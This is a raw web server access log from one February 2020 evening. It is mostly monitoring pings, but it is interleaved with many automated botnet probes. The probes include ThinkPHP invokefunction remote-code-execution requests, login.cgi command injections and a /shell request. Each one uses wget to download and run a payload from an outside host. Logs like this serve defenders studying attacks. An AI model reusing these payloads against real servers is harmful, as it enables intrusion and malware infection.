63.143.35.230 - - [09/Feb/2020:19:01:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:19:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.25.232 - - [09/Feb/2020:19:05:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.220.68.4 - - [09/Feb/2020:19:12:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [09/Feb/2020:19:13:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [09/Feb/2020:19:13:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [09/Feb/2020:19:14:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [09/Feb/2020:19:14:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:19:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [09/Feb/2020:19:14:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:19:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [09/Feb/2020:19:18:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:19:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [09/Feb/2020:19:19:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [09/Feb/2020:19:19:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [09/Feb/2020:19:19:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [09/Feb/2020:19:19:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.115.174.80 - - [09/Feb/2020:19:20:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.113.197.251 - - [09/Feb/2020:19:20:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:19:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [09/Feb/2020:19:21:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [09/Feb/2020:19:21:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [09/Feb/2020:19:21:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [09/Feb/2020:19:22:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:19:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [09/Feb/2020:19:22:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
117.0.196.128 - - [09/Feb/2020:19:23:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.84.252 - - [09/Feb/2020:19:23:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.66.93.54 - - [09/Feb/2020:19:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:19:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.114.144.147 - - [09/Feb/2020:19:30:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:19:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.154.228 - - [09/Feb/2020:19:31:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.41.30.32 - - [09/Feb/2020:19:34:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:19:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.158.1.122 - - [09/Feb/2020:19:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:19:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.230.173.140 - - [09/Feb/2020:19:39:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.48.235.1 - - [09/Feb/2020:19:40:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [09/Feb/2020:19:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.195.177 - - [09/Feb/2020:19:43:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.47.41 - - [09/Feb/2020:19:44:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.73.215.171 - - [09/Feb/2020:19:45:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:19:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.127 - - [09/Feb/2020:19:46:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.95.63.117 - - [09/Feb/2020:19:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.16.31 - - [09/Feb/2020:19:53:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:19:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.20.251.31 - - [09/Feb/2020:19:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:19:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [09/Feb/2020:19:55:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [09/Feb/2020:19:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.232.252.155 - - [09/Feb/2020:19:56:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.27.187.117 - - [09/Feb/2020:19:56:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [09/Feb/2020:19:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.247.159.69 - - [09/Feb/2020:19:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:19:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.157.61 - - [09/Feb/2020:19:59:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:19:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.139.236.6 - - [09/Feb/2020:19:59:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.112.103.236 - - [09/Feb/2020:20:00:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.108.70.220 - - [09/Feb/2020:20:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:20:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [09/Feb/2020:20:11:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:20:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [09/Feb/2020:20:11:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [09/Feb/2020:20:11:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [09/Feb/2020:20:12:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:20:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.90.210.161 - - [09/Feb/2020:20:13:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.235.89.236 - - [09/Feb/2020:20:13:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.239.19.112 - - [09/Feb/2020:20:14:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.92.197.105 - - [09/Feb/2020:20:14:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.170.87.87 - - [09/Feb/2020:20:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
